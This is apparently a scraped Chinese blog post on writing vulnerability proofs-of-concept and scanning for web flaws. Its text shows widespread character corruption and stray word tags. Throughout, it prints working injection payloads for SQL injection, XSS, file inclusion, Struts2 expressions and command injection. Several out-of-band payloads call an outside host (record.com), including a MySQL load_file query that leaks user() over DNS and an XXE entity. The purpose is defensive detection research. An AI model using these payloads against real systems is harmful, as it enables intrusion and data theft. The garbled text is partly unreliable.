好像好久没发文了,近日心血来潮准备谈谈 “漏洞检测的那些事儿”。如今有一个现象就是一旦有危害较高的漏洞的验证 PoC 或者利用 EXP 被公布出来,就会有一大群饥渴难忍的帽子们去刷洞,对于一个路人甲的我来讲,看得有点眼红。php
刷洞归刷洞,蛋仍是要扯的。漏洞从披露到研究员分析验证,再到 PoC 编写,进而到大规模扫描检测,在这环环相扣的漏洞应急生命周期中,我认为最关键的部分应该算是 PoC编写 和 漏洞检测 这两个部分了:python
PoC编写 - 复现漏洞环境,将漏洞复现流程代码化的过程web
漏洞检测 - 使用编写好的 PoC 去验证测试目标是否存在着漏洞,须要注意的是在这个过程(或者说是在编写 PoC 的时候)须要作到安全、有效和无害,尽量或者避免扫描过程对目标主机产生不可恢复的影响sql
首先来讲说 PoC 编写。编写 PoC 在我看来是安全研究员或者漏洞分析者平常最基础的工做,编写者把漏洞验证分析的过程经过代码描述下来,根据不一样类型的漏洞编写相应的 PoC。根据常年编写 PoC 积累下来的经验,我的认为在编写 PoC 时应遵循几个准侧,以下:shell
随机性数据库
肯定性windows
通用型后端
可能你会以为我太学术了?那么我就一点一点地把他们讲清楚。浏览器
0x01 PoC 编写准则 & 示例缓存
i. 随机性
PoC 中所涉及的关键变量或数据应该具备随机性,切勿使用固定的变量值生成 Payload,可以随机生成的尽可能随机生成(如:上传文件的文件名,webshell 密码,Alert 的字符串,MD5 值),下面来看几个例子(我可真没打广告,例子大都使用的 pocsuite PoC 框架):
上图所示的代码是 WordPress 中某个主题致使的任意文件上传漏洞的验证代码关键部分,能够看到上面使用了kstest.php 做为每一次测试使用的上传文件名,很明显这里是用的固定的文件名,违背了上面所提到的随机性准侧。这里再多啰嗦一句,我并无说在 PoC 中使用固定的变量或者数据有什么不对,而是以为将可以随机的数据随机化可以下降在扫描检测的过程所承担的一些风险(具体有什么风险请自行脑补了)。
根据随机性准侧可修改代码以下:
更改后上传文件的文件名每次都为随机生成的 6 位字符,我的认为在必定程度上下降了扫描检测交互数据被追踪的可能性。
ii. 肯定性
PoC 中能经过测试返回的内容找到惟一肯定的标识来讲明该漏洞是否存在,而且这个标识须要有针对性,切勿使用过于模糊的条件去判断(如:HTTP 请求返回状态,固定的页面可控内容)。一样的,下面经过实例来讲明一下:
上图所示的代码是某 Web 应用一个 UNION 型 SQL 注入的漏洞验证代码,代码中直接经过拼接 -1' union select 1,md5(1) -- 来进行注入,因该漏洞有数据回显,因此若是测试注入成功页面上会打印出 md5(1) 的值c4ca4238a0b923820dcc509a6f75849b,显然的这个 PoC 看起来并无什么问题,可是结合准则第一条随机性,我以为这里应该使用 md5(rand_num) 做为标识肯定更好,由于随机化后,准确率更高:
这里也不是坑大家,万一某个站点不存在漏洞,但页面中就是有个 c4ca4238a0b923820dcc509a6f75849b,大家以为呢?
讲到这里,再说说一个 Python requests 库使用者可能会忽视的一个问题。有时候,咱们在获取到一个请求返回对象时,会像以下代码那样作一个前置判断:
可能有人会说了,Python 中条件判断非空即为真,可是这里真的是这么处理的么?并非,通过实战遇到的坑和后来测试发现,Response 对象的条件判断是经过 HTTP 返回状态码来进行判断的,当状态码范围在 [400, 600] 之间时,条件判断会返回 False。(不信的本身测试咯)
我为何要提一下这个点呢,那是由于有时候咱们测试漏洞或者将 Payload 打过去时,目标可能会由于后端处理逻辑出错而返回 500,可是这个时候其实页面中已经有漏洞存在的标识出现,若是这以前你用刚才说的方法提早对 Response 对象进行了一个条件判断,那么这一次就会致使漏报。So,大家知道该怎么作了吧?
iii. 通用性
PoC 中所使用的 Payload 或包含的检测代码应兼顾各个环境或平台,可以构造出通用的 Payload 就不要使用单一目标的检测代码,切勿只考虑漏洞复现的环境(如:文件包含中路径形式,命令执行中执行的命令)。下图是 WordPress 中某个插件致使的任意文件下载漏洞:
上面验证代码逻辑简单的说就是,经过任意文件下载漏洞去读取 /etc/passwd 文件的内容,并判断返回的文件内容是否包含关键的字符串或者标识。明显的,这个 Payload 只适用于 *nix 环境的状况,在 Windows 平台上并不适用。更好的作法应该是根据漏洞应用的环境找到一个必然可以体现漏洞存在的标识,这里,咱们能够取 WordPress 配置文件 wp-config.php 来进行判断(固然,下图最终的判断方式可能不怎么严谨):
这么一改,Payload 就同时兼顾了多个平台环境,变成通用的了。
大大小小漏洞的 PoC 编写经验让我总结出这三点准则,你要是以为是在扯蛋就不用往下看了。QWQ
0x02 漏洞检测方法 & 示例
“漏洞检测!漏洞检测?漏洞检测。。。”,说了这么多,到底如何去概括漏洞检测的方法呢?在我看来,根据 Web 漏洞的类型特色和表现形式,能够分为两大类:直接判断 和 间接判断。
直接判断:经过发送带有 Payload 的请求,可以从返回的内容中直接匹配相应状态进行判断
间接判断:没法经过返回的内容直接判断,需借助其余工具间接的反应漏洞触发与否
多说无益,仍是直接上例子来体现一下吧(下列所示 Payloads 不彻底通用)。
1. 直接判断
i. SQLi(回显)
对于有回显的 SQL 注入,检测方法比较固定,这里遵循 “随机性” 和 “肯定性” 两点便可。
Error Based SQL Injection
payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..." 2.condition: (rand_str1 + rand_str2) in response.content
针对报错注入来讲,利用随机性进行 Payload 构造能够比较稳定和准确地识别出漏洞,固定字符串会因一些小几率事件形成误报。不知道你们是否明白上面两行代码的意思,简单的说就是 Payload 中包含一个可预测结果的随机数据,验证时只须要验证这个可预测结果是否存在就好了。
UNION SQL Injection
payload1: "... union select md5(rand_num) ..." 2.condition1: md5(rand_num) in response.content 3. 4.payload2: "... union select concat(rand_str1, rand_str2) ..." 5.condition2: (rand_str1 + rand_str2) in response.content
md5(rand_num) 这个很好理解,MySQL 中自带函数,当 Payload 执行成功时,因具备回显因此在页面上定有md5(rand_num) 的哈希值,因 Payload 具备随机性,因此误报率较低。
ii. XSS(回显)
payload: "... var _=rand_str1+rand_str2;confirm(_); ..." 2.condition: (rand_str1 + rand_str2) in response.content
因没怎么深刻研究过 XSS 这个东西,因此你们就意会一下示例代码的意思吧。QWQ
iii. Local File Inclusion/Arbitrary File Download(回显)
本地文件包含和任意文件下载的最大区别在哪?本地文件包含不只可以获取文件内容还能够动态包含脚本文件执行代码,而任意文件下载只能获取文件内容没法执行代码。XD
因此呢,在针对此类漏洞进行检测时,在进行文件包含/下载测试的时候须要找一个相对 Web 应用固定的文件做为测试向量:
payload: "... ?file=../../../fixed_file ..." 2.condition: (content_flag_in_fixed_file) in response.content
例如 WordPress 应用路径下 ./wp-config.php 文件是应用默认必须的配置文件,而文件中的特殊字符串标识require_once(ABSPATH . 'wp-settings.php'); 一般是不会去改动它的(固然也能够是其余的特征字符串),扫描文件下载时只须要去尝试下载 ./wp-config.php 文件,并检测其中的内容是否含有特征字符串便可判断是否存在漏洞了。
iv. Remote Code/Command Execution(回显)
远程代码/命令执行都是执行,对该类漏洞要进行无害扫描,一般的作法是打印随机字符串,或者运行一下特征函数,而后检查页面返回是否存在特征标识来确认漏洞与否。
payload: "... echo md5(rand_num); ..." 2.condition: (content_flag) in response.content
固然了,要执行什么样的特征命令这还须要结合特定的漏洞环境来决定。
v. SSTI/ELI(回显)
模板注入和表达式注入相对于传统的 SQLi 和 XSS 来讲,应该算得上是在开框架化、总体化的过程当中产生的问题,当模板内容可控时各类传统的 Web 漏洞也就出现了,XSS、命令执行都可以经过模板注入活着表达式注入作到。曾经风靡一时的 Struts2 漏洞我以为都能归到此类漏洞中。一般检测只需构造相应模板语言对应的表达式便可,存在注入表达式会得以执行并返回内容:
payload1: "... param=%(rand_num1 + rand_num2) ..." 2.condition1: (rand_num1 + rand_num2) in response.content 3. 4.payload2: "... param=%(rand_num1 * rand_num2) ..." 5.condition2: (rand_num1 * rand_num2) in response.content 6. 7.payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .." 8.condition3: (rand_str1+ rand_str2) in response.content
vi. 文件哈希
有时候漏洞只与单个文件有关,例如 Flash、JavaScript 等文件形成的漏洞,这个时候就能够利用文件哈希来直接判断是否存在漏洞。扫描检测时,首先须要给定路径下载对应的文件而后计算哈希与统计的具备漏洞的全部文件哈希进行比对,匹配成功则说明漏洞存在:
payload: "http://vuln.com/vuln_swf_file.swf" 2.condition: hash(vul_swf_file.swf) == hash_recorded
以上就是针对 Web 漏洞检测方法中的 “直接判断” 进行了示例说明,因 Web 漏洞类型繁多且环境复杂,这里不可能对其进行一一举例,所举的例子都是为了更好的说明 “直接判断” 这种检测方法。:)
2. 间接判断
“无回显?测不了,扫不了,很尴尬!怎么办。。。“
在好久好久以前,我遇到上诉这些漏洞环境时是一脸懵逼的 (⇀‸↼‶),一开始懂得了用回连进行判断,后来有了 python -m SimpleHTTPServer 做为简单实时的 HTTP Server 做为回连监控,再后来有了《Data Retrieval over DNS in SQL Injection Attacks》这篇 Paper,虽然文章说的技术点是经过 DNS 查询来获取 SQL 盲注的数据,可是 "Data Retrieval over DNS" 这种技术已经能够应用到大多数没法回显的漏洞上了,进而出现了一些公开的平台供安全研究爱好者们使用,如:乌云的 cloudeye 和 Bugscan 的 DNSLog,固然还有我重写的 CEYE.IO 平台。
"Data Retrieval over DNS" 技术原理其实很简单,首先须要有一个能够配置的域名,好比:ceye.io,而后经过代理商设置域名 ceye.io 的 nameserver 为本身的服务器 A,而后再服务器 A 上配置好 DNS Server,这样以来全部 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就可以实时地监控域名查询请求了,图示以下(借的 Ricter 的):
说了那么多,仍是不知道怎么用么?那就直接看示例吧(因此后端平台都用 CEYE.IO 做为例子)。
i. XSS(无回显)
XSS 盲打在安全测试的时候是比较经常使用的,“看到框就想 X” 也是每位 XSSer 的信仰:
payload: "... ><img src=http://record.com/?blindxss ..." 2.condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs
经过盲打,让触发者浏览器访问预设至的连接地址,若是盲打成功,会在平台上收到以下的连接访问记录:
ii. SQLi(无回显)
SQL 注入中无回显的状况是很常见的,可是有了 "Data Retrieval over DNS" 这种技术的话一切都变得简单了,前提是目标环境符合要求。《HawkEye Log/Dns 在Sql注入中的应用》这篇文章提供了一些常见数据库中使用 "Data Retrieval over DNS" 技术进行盲注的 Payloads。
payload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli')) 02.condition: {*.record.com LOG} in DNS queries LOGs
只要目标系统环境符合要求而且执行了注入的命令,那么就会去解析预先设置好的域名,同时经过监控平台可以拿到返回的数据。
iii. SSRF(无回显)
根据上面两个例子,熟悉 SSRF 的同窗确定也是知道怎么玩了:
payload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..." 2.condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs
iv. RCE(无回显)
命令执行/命令注入这个得好好说一下,我相信不少同窗都懂得在命令执行没法回显的时候借用相似 python -m SimpleHTTPServer 这样的环境,采用回连的检测机制来实时监控访问日志。*nix 系统环境下通常是使用 curl 命令或者wget 命令,而 windows 系统环境就没有这么方便的命令去直接访问一个连接,我以前经常使用的是 ftp 命令和 PowerShell 中的文件下载来访问日志服务器。如今,有了一个比较通用的作法同时兼顾 *nix 和 windows 平台,那就是 ping 命令,当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。
payload: "... | ping xxflag.record.com ..." 2.condition: {xxflag.record.com LOG} in DNS queries LOGs
经过这几个 "间接判断" 的示例,相信你们也大概了解了在漏洞无回显的状况下如何进行扫描和检测了。更多的无回显 Payloads 能够经过 http://ceye.io/payloads 进行查看。(勿喷)
0x03 应急实战举例
原理和例子扯了这么多,也该上上实际的扫描检测案例了。
Java 反序列化(通用性举例,ftp/ping)
首先说说 15 年末爆发的 Java 反序列化漏洞吧,这个漏洞应该算得上是 15 年 Web 漏洞之最了。记得当时应急进行扫描的时候,WebLogic 回显 PoC 并无搞定,对其进行扫描检测的时候使用了回连的方式进行判断,又由于待测目标包含 *nix 和 windows 环境,因此是写了两个不一样的 Payloads 对不一样的系统环境进行检测,当时扫描代码的 Payloads 生成部分为:
i. *nix
当时真实的日志内容:
能够看到我在构造 Payload 的时候经过连接参数来惟一识别每一次测试的 IP 地址和端口,这样在检查访问日志的时候就能肯定该条记录是来自于哪个测试目标(由于入口 IP 和出口 IP 可能不一致),同时在进行批量扫描的时候也能方便进行目标确认和日志处理。
ii. windows
当时真实的日志内容:
由于 windows 上的 ftp 命令没法带相似参数同样的标志,因此经过观察 FTP Server 链接日志上不是很好确认当时测试的目标,由于入口 IP 和出口 IP 有时不一致。
上面的这些 PoC 和日志截图都是去年在应急时真实留下来的,回想当时再结合目前的一些知识,发现使用通用的 Payloadping xxxxx.record.com 并使用 "Data Retrieval over DNS" 技术来收集信息日志可以更为通用方便地进行检测和扫描。因此,最近更换了一下 Payload 结合 CEYE.IO 平台又对 WebLogic 反序列化漏洞的影响状况又进行了一次摸底:
这里添加一个随机字符串做为一个子域名的一部分是为了防止屡次检测时本地 DNS 缓存引发的问题(系统通常会缓存 DNS 记录,同一个域名第一次经过网络解析获得地址后,第二次一般会直接使用本地缓存而不会再去发起查询请求)。
相应平台的记录为(数量略多):
(顺便说一下,有一个这样的平台仍是很好使的 QWQ)
不知不觉就写了这么多 QWQ,好累。。。能总结和须要总结的东西实在太多了,此次就先写这么一点吧。
不知道仔细看完这篇文章的人会有何想法,也许其中的一些总结你都知道,甚至比我知道的还要多,但我写出来只是想对本身的经验和知识负责而已,欢迎你们找我讨论扫描检测相关的东西。:)